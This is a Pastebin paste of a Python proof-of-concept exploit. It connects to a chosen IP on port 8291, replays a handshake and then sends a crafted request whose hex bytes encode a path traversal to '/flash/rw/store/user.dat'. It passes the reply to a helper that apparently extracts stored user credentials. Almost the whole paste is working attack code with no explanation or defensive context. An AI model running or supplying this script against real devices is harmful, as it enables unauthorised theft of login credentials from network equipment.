Guest User

Untitled

a guest
Oct 18th, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. import socket
  4. import sys
  5. from extract_user import dump
  6.  
  7.  
  8. a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
  9. 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
  10. 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
  11. 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
  12. 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
  13. 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
  14. 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
  15. 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
  16. 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
  17. 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
  18. 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
  19. 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
  20. 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
  21. 0x00, 0x00]
  22.  
  23. b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
  24. 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
  25. 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
  26. 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
  27. 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
  28. 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
  29. 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
  30. 0x00, 0x02, 0x00, 0x00, 0x00]
  31.  
  32.  
  33.  
  34. if __name__ == "__main__":
  35. try:
  36. ip = sys.argv[1]
  37. except:
  38. print("Usage: python PoC.py [IP_ADDRESS]")
  39.  
  40. #Initialize Socket
  41. s = socket.socket()
  42. s.settimeout(3)
  43. s.connect((ip, 8291))
  44.  
  45. #Convert to bytearray for manipulation
  46. a = bytearray(a)
  47. b = bytearray(b)
  48.  
  49. #Send hello and recieve the sesison id
  50. s.send(a)
  51. d = bytearray(s.recv(1024))
  52.  
  53. #Replace the session id in template
  54. b[19] = d[38]
  55.  
  56. #Send the edited response
  57. s.send(b)
  58. d = bytearray(s.recv(1024))
  59.  
  60. #Get results
  61. print(ip)
  62. dump(d[55:])
Add Comment
Please, Sign In to add comment